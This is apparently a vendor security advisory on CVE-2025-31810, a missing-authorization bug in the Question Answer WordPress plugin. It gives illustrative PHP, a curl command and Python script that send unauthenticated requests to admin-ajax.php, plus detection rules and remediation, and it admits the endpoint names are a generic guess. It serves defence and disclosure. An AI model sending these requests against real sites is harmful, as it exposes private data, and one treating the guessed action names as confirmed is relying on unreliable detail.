CVE-2025-31810

Executive Summary

CVE-2025-31810 is a Missing Authorization vulnerability in the PickPlugins Question Answer WordPress plugin, affecting versions from n/a through 1.2.73. This flaw allows unauthenticated attackers to access functionality that should be constrained by Access Control Lists (ACLs), potentially exposing sensitive data or enabling unauthorized actions. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.

WordPress Ecosystem Context

This vulnerability specifically targets the Question Answer plugin for WordPress. It is not related to Apache or Nginx server software. The plugin is used to add Q&A functionality to WordPress sites, and the missing authorization flaw could allow attackers to bypass access controls on AJAX actions or REST endpoints.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The threat level is Medium due to the low complexity and no required privileges, but the impact is limited to low confidentiality loss.

Deep Dive & Mechanics

The vulnerability resides in the Question Answer plugin's AJAX handlers or REST API endpoints. The plugin likely registers AJAX actions for both authenticated and unauthenticated users, but fails to properly verify user capabilities before executing sensitive operations. This allows an attacker to call functions like retrieving private questions, answers, or user data without authentication.

The missing authorization check (CWE-862) means the plugin does not validate that the current user has the required permissions (e.g., edit_posts, read_private_posts) before processing requests. Attackers can craft HTTP requests to trigger these actions, bypassing intended access controls.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically:

Vulnerable Code (PHP):

add_action('wp_ajax_nopriv_get_private_question', 'handle_get_private_question');
function handle_get_private_question() {
    $question_id = $_POST['question_id'];
    $question = get_post($question_id);
    echo json_encode($question);
    wp_die();
}

Patched Code (Expected):

add_action('wp_ajax_nopriv_get_private_question', 'handle_get_private_question');
function handle_get_private_question() {
    if (!current_user_can('read_private_posts')) {
        wp_die('Unauthorized', 403);
    }
    $question_id = $_POST['question_id'];
    $question = get_post($question_id);
    echo json_encode($question);
    wp_die();
}

The patch would add a capability check before processing the request.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Question Answer plugin <= 1.2.73
• No authentication required

Exploitation Steps:

1. Identify vulnerable AJAX actions by analyzing plugin source code or using fuzzing.
2. Send a crafted POST request to the WordPress AJAX endpoint:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=get_private_question&question_id=123"

3. If successful, the response will contain private question data.

Automated Exploit (Python):

import requests

target = "https://target.com"
ajax_url = f"{target}/wp-admin/admin-ajax.php"
data = {
    "action": "get_private_question",
    "question_id": "123"
}
response = requests.post(ajax_url, data=data)
print(response.text)

Blue Team

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with action parameters related to the Question Answer plugin (e.g., get_private_question, delete_answer).
2. Check for requests from unauthenticated users accessing endpoints that should require authentication.
3. Review web server logs for 403 errors on AJAX endpoints (if patched) or successful responses to unauthorized requests.

Honeypot Setup:

• Deploy a fake WordPress site with the vulnerable plugin and monitor for exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action parameters like get_private_question, get_private_answer, delete_question from unauthenticated sources.
  • Unusual question_id or answer_id values in POST data.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/question-answer/ (if attacker uploads backdoor).
• Log IOCs:
  • Web server logs showing 200 responses to AJAX requests from IPs without prior authentication.

Detection Engineering

YARA Rule

rule CVE_2025_31810_Question_Answer {
    meta:
        description = "Detects exploitation attempts for CVE-2025-31810 in PickPlugins Question Answer"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-31810"
    strings:
        $ajax_action = "action=get_private_question" nocase
        $ajax_action2 = "action=get_private_answer" nocase
        $ajax_action3 = "action=delete_question" nocase
        $plugin_path = "/wp-content/plugins/question-answer/" nocase
    condition:
        any of ($ajax_action*) or $plugin_path
}

Sigma Rule

title: CVE-2025-31810 - Missing Authorization in Question Answer Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests targeting vulnerable Question Answer plugin endpoints
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=get_private_question'
            - 'question_id='
    condition: selection
falsepositives:
    - Legitimate authenticated users (check for cookie presence)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-31810 - Question Answer Plugin Missing Authorization Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=get_private_question"; http_client_body;
    content:"question_id="; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-31810;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict access to admin-ajax.php via .htaccess:

   <Files "admin-ajax.php">
       Require all denied
   </Files>
   

2. Implement a Web Application Firewall (WAF) rule to block unauthenticated AJAX requests to known vulnerable actions.
3. Monitor for updates from PickPlugins and apply patches immediately when released.

Long-term Fix:

• The vendor must add capability checks to all AJAX handlers using current_user_can() or check_ajax_referer() with proper nonce verification.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for known vulnerabilities.

Valters IT
Securing Digital Frontiers